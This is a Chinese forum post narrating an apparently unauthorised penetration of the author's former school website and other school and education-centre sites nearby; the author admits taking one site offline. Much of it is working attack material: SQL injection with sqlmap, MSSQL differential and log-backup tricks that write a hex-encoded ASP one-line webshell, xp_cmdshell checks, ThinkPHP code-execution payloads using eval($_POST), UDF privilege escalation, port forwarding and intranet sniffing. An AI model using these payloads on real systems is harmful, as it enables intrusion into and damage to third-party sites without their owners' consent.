渗透纪实之母校官网-part 1
来源:http://bbs.ichunqiu.com/thread-9230-1-1.html?from=ch
过程不算曲折,但还算漫长,知识点比较零碎,适合新手学习。
那么,那时我还小,我们一起来回忆,那些年 我们年少时 蛋疼的折腾。
离开母校那年,挚友摆了饭局送我,席间我和楷文(淡定哥)有个约定。。。
时不我待,转眼一载,人事变迁,容颜沧桑,楷文兄,没我的日子你别来无恙。母校官网我还没搞定,你是否已经炸了她的墙角?
由于种种原因,一直没有足够的时间。。。渗透过程七零八落
来看下情况:
母校主站:www.*****x.cn
*信息收集
初步刺探结果:
某些数据库的调用做了防注入处理:
[AppleScript]纯文本查看复制代码
web服务:iis6.0ASP 支持aspx
数据库:access
网站后台:http://www.******cn/admin/login.asp
手工找到数字型注入点:http://www.s*******.cn/news_detail.asp?id=954
明显的入库查询 sqlinjection
Sqlmap跑起来
结果不太理想,爆破不出表和字段,看来管理员为了防止猜表做了表前缀
对于access的注入,猜不到表,渗透戛然而止
后来又在复习的时候看到了sql注入access导出txt等文件方法,不能导出asp 但是我们可以配合IIS6.0解析漏洞导出binghe.asp;binghe.txt之类的文件
那么问题来了 , 路径哪里找?? 又不是phpmyadmin之类的可以报错文件,asp报错路径很少,但是我突然想到了conn.asp和5c%暴库
5c%是没有成功,conn.asp还是可以的,直接访问数据库连接文件,数据库连接文件和数据调用的相对路径冲突导致报错,没错爆出了绝对路径:
那么来sqlmap的–sql-shell用传说中的sql执行access导出txt、xls试试 配合iis6.0解析漏洞(PS:access已经过时,没研究过,小菜也不清楚access的sqlshell是不是可以执行,以前在后台遇到过可以执行sql的功能,譬如帝国的某些版本)
逐一执行以下语句就可以导出一句话了
[AppleScript]纯文本查看复制代码
1
2
3
4create table cmd(a varchar(50))
insertintocmd(a)values('一句话木马')
select*into[a]in'e:\web\webshellcc\1.asa;x.xls' 'excel4.0;'fromcmd
drop table cmd
更简单的
[AppleScript]纯文本查看复制代码
Select 'asp一句话木马'into[vote]in'e:\web\webshellcc\1.asa;x.xls' 'excel8.0;' fromvote
Sqlshell执行无果 看来是我想多了 也许access注入点根本就不能取得真正的sqlshell
转而看其网站后台,用burpsuite爆破没跑出来,, 失败
小站,也看不出是什么cms,扫了目录,没有大的发现,有上传,但是需要登录,无法有效利用,有留言板,尝试XSS,无果,存在iis短文件名泄露漏洞,利用无果
入侵脚步又戛然而止
上次刺探主站没有什么收获 C段之,
瞄到一个站 本市的**中学 久闻大名!
注入一个,,sqlmap之
[AppleScript]纯文本查看复制代码
--current-user --sql-shell--os-shell
sa!!!!
[AppleScript]纯文本查看复制代码
selectcount(*)frommaster.dbo.sysobjectswherextype='x' andname='xp_cmdshell'
返回”1″,说明存在存储过程xp_cmdshell
试着执行cmd 不行啊老是超时 怪事
os-shell尝试获得交互式cmd SQLmap自动提权修复xp_cmdshell也是超时 不明白哪里出了问题
手动在注入点执行也不行。。
咋办呢?想想还是找目录写个shell
用啊D列个目录 列了一会通过对比就找到了根目录
D:\wwwroot\dxzx\
跑了数据 解了md5 进了后台 想差异备份 但是手抖弄了个插配置文件一句话 但是忘了闭合asp标记
后来网站挂了 差点吓哭 我真的不是故意的 。 无法复现 等恢复了再说吧
个人对此表示万分歉意,对不起,已经致道歉信与修复方案至管理员邮箱
后来想到自己是多么的愚蠢,为什么不log备份,增量备份导出shell呢???
让我喝一杯82年的乐事冷静一下
其实log备份导出Public权限都能导出,更何况我们是sa,如果遇到奇葩的磁盘权限,可以尝试图片上传目录
#导出方法有以下几种方法:
MSSQL差异备份,就是和前一次备份作对比,把不一样的内容备份下来,这样,只要前一次备份后,插入新的内容,差异备份就可以把刚插入的内容备份出来,而这个备份文件将大大减少,得到webShell的成功也提高了不少!
差异备份的流程大概这样:
[AppleScript]纯文本查看复制代码
01
02
03
04
05
06
07
08
09
10
11
121.完整备份一次(保存位置当然可以改)
backup database 库名todisk='c:\ddd.bak';--
2.创建表并插曲入数据
create table [dbo].[dtest]([cmd] [image]);
insertintodtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--
3.进行差异备份
backup database 库名todisk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
上面
[AppleScript]纯文本查看复制代码
0x3C25657865637574652872657175657374282261222929253E
就是一句话木马的内容:
[AppleScript]纯文本查看复制代码
<%execute(request("a"))%>
如下是整理的常见的差异备份代码,思路一样!
===================================================
利用差异备份提高提高backupwebshell的成功率,减少文件大小
步骤:
[AppleScript]纯文本查看复制代码
1
2
3
4declare @a sysname,@s nvarchar(4000)select@a=db_name(),@s=0x77006F006B0061006F002E00620061006B00backup database @a todisk=@s
create table [dbo].[xiaolu]([cmd] [image]);
insertintoxiaolu(cmd)values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000)select@a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000backup database @atodisk=@s WITH DIFFERENTIAL,FORMAT
0x77006F006B0061006F002E00620061006B00为wokao.bak
0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp
声明:方法不是我想的,我只是写工具,默认得到shell是
[AppleScript]纯文本查看复制代码
<%execute(request("a"))%>
===============================================================
我发现上面代码,有时会无效,而直接用
[AppleScript]纯文本查看复制代码
1
backup database 库名todisk='c:\ddd.bak' create table [dbo].[dtest]([cmd] [image]); insertintodtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E)backup database 库名todisk='目标位置\d.asp'WITH DIFFERENTIAL,FORMAT;--
却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 “‘”,就要把字符内容转为数值了!
网上还有log增量备份的,我也把他记录一下
=====================================================
另一种log增量备份技术:
例:在注入点用;联合执行
[AppleScript]纯文本查看复制代码
1
2
3
4
5
6';alter database nullsetRECOVERY FULL--
';create table cmd(aimage)--
';backuplognulltodisk='f:\cmd'withinit--
';insertintocmd(a)values(0x3C2565786563757465287265717565737428226122292
9253EDA)--
';backuplognulltodisk='备份路径'--
PS:0x3C25657865637574652872657175657374282261222929253EDA 是一句话小马16进制转来的
是为了防止单引号和asp标志的闭合问题,下面是几种可以尝试的写法:
[AppleScript]纯文本查看复制代码
1
2
3
4
5a).<%%25Execute(request("a"))%%25>
b).<%Execute(request("a"))%>
c).%><%execute request("a")%><%
d).executerequest("a")
e).<%25Execute(request("a"))%25>
权限够大还可以直接调用systemobject的函数直接写:限于篇幅,大家可以自行整理
还是没拿下 但是我的脚步不会停止
C段一圈,很快拿下个脆弱的网站,账户名和密码都是网站简称、简单的提权了
权限还可以
内网 lcx转发过来
不过,c段的内网,意义不大,丢弃。
转了一会,又一个c段的,直接注入写shell,也是直接溢出提权
又是内网。。运气不是很好啊。
卡的让人想死 估计是个喳喳服务器,不看他了。。。
拿的c段都是内网,不能arp劫持目标,嗅探不到。。。。
思路转一下,来看旁注!拿目标的内网
拿下一个与主站同外网ip的站点 有希望撕入内网。。。
套路是注入进后台 截断拿shell
来提权服务器 又是恶心的内网 老套路转发上去
转发好 登录 看到这样子
不管他,mstsc/admin,挤下去,,
看了下,主站不在服务器上,运气好背啊,小小内网渗透一下
密码是随机设定的,其实那个不是密码,说明存在ipc$空连接的漏洞,好古老啊,手工利用一下看看,失败了,我都没心情一个一个测试了
读取一下管理密码,扫一下?
没读出来管理员的。。为什么运气这么差 导出hash去破解我也懒得搞了
嗅探开始,不久就有结果了哈哈
但是都是一些无用的信息,现在这里嗅探着,过个十天半个月的再来看看
内网存活:
那么问题来了,我们可不可以在内网里面netfake?
目标站的内网ip我们是通过在网站主页点一个校内应用得知的
事实证明不行,,,先放在那里嗅探吧 。。。。。
其实还有ip冲突劫持,不过劫持就没意思啦 我还是要拿到权限
再来看看另外一个旁站
下次看吧 背着书包上学堂。。。。。。。。。。。。
额 放假了
再来看看徐州市********育中心
运气比较好,Thinkphp框架,命令执行直接拿下
具体方法:
[AppleScript]纯文本查看复制代码
1
2
3index.php/module/aciton/param1/${@phpinfo()}
index.php/module/action/param1/{${eval($_POST[s])}}
来了来了提权
翻到了root直接来udf但是用t00ls的shell提权显示创建lib/plugin目录失败
直接在菜刀里面右键创建目录成功
上用户
其实这里的udf 为了防止各种错误 我写过一个小工具 传上去运行,将 自动udf mof 和 lpk 三种方式提权,详情见
[AppleScript]纯文本查看复制代码
https://github.com/v5est0r/mysql-promoting-privileges
lcx 连接上去看看
翻下目录 没有目标站信息等
码字很累,完结篇很快会写出来,更精彩哦
未完待续。。。